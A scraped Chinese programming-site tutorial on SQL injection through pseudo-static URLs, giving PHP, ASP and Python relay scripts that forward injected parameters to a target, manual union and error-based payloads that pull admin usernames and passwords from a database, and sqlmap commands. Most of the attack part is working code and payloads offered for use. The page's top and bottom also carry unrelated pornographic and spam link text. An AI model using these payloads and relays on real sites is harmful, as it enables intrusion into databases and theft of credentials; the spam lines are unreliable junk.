一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - PHP針對偽靜態的注入總結【附asp與Python相關代碼】

PHP針對偽靜態的注入總結【附asp與Python相關代碼】

2021-06-09 16:54無法自拔 PHP教程

這篇文章主要介紹了PHP針對偽靜態的注入,結合實例形式總結分析了php針對偽靜態的常見注入情況,并附帶asp與Python的相關操作代碼,對于php程序安全有一定借鑒價值,需要的朋友可以參考下

本文實例講述了PHP針對偽靜態的注入。分享給大家供大家參考,具體如下:

一:中轉注入法

1.通過http://www.xxx.com/news.php?id=1做了偽靜態之后就成這樣了
http://www.xxx.com/news.php/id/1.html

2.測試步驟:

中轉注入的php代碼:inject.php

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地環境搭建PHP,然后訪問http://127.0.0.1/inject.php?id=1

通過sqlmap或者havj可以跑注入漏洞。

附錄ASP中轉代碼:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"&nbsp;&nbsp;//實際上要請求的網址
JMUrl=JMUrl & JmStr&".html"&nbsp; &nbsp; //拼接url
response.write JMUrl&JmStr&nbsp; &nbsp; //我這里故意輸出url來看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20")
JmStr=URLEncoding(JmStr)&nbsp;&nbsp;
response.write&nbsp;&nbsp;PostData(JMUrl,JmStr,JmCok,JmRef) //url,查詢字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)&nbsp;&nbsp;
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)&nbsp; &nbsp;//處理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)&nbsp; &nbsp; //發包前對參數的url編碼一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加轉換搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '轉換空格,如果網站過濾了空格,嘗試用/**/來代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")&nbsp;&nbsp;'JMDCW增加轉換+字符
vstrin=Replace(vstrin,chr(32),"/**/")&nbsp;&nbsp;'在此增加要過濾的代碼 //這里很關鍵,方便啊,把空格自動換成/**/,后面會說到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.測試注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出錯

3.看頁面是否存在差異,相同則不存在,不同存在注入。

4.聯合查詢:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注:

偽靜態的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是偽靜態不行,會被直接傳遞到到url中,所以用/**/這個注釋符號表示空格。

三、SQLmap方法

在sqlmap中偽靜態哪兒存在注入點就加*
http://www.cunlide.com/id1/1/id2/2
python   sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python  sqlmap.py -u  “http://www.xxx.com/news/class/?103*.html”

四、python腳本方法

代碼:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find('id=')+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

希望本文所述對大家PHP程序設計有所幫助。

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 青青草国产免费久久久91 | 动漫美女强行被吸乳做羞羞事 | 亚洲精品色婷婷在线影院麻豆 | 日本一区二区视频免费播放 | 亚裔maricahaseaⅴ | 青青草在视线频久久 | sao虎影院桃红视频在线观看 | 国产日韩精品一区二区在线观看播放 | 国产成人精品曰本亚洲77美色 | 91入口免费网站大全 | 性关系视频免费网站在线观看 | 国产欧美成人免费观看 | 午夜亚洲一区二区福利 | 出水小说 | 9久热久爱免费精品视频在线观看 | 亚洲精品在线免费观看视频 | 学校捏奶揉下面污文h | 九九久久精品 | 好男人在线观看免费高清2019韩剧 | 欧美一区二区三区精品国产 | 九九热免费在线观看 | 四虎影院2019 | 99精品视频在线观看 | 午夜想想爱午夜剧场 | 国产精品成人麻豆专区 | 大肥臀风间由美 中文字幕 大东北chinesexxxx露脸 | ady@ady9.映画网| 成年人在线视频观看 | 99久久999久久久综合精品涩 | jizzjizz3d动漫| 教师波多野结衣在线播放 | 金牛网155755水心论坛黄大父母 | 亚洲AV午夜精品麻豆AV | av毛片免费看 | 天堂a免费视频在线观看 | 久久久这里有精品999 | 男女乱淫真视频播放网站 | 欧美成人免费观看久久 | 精品一区二区91 | 成人影院在线观看免费 | 91亚洲精品丁香在线观看 |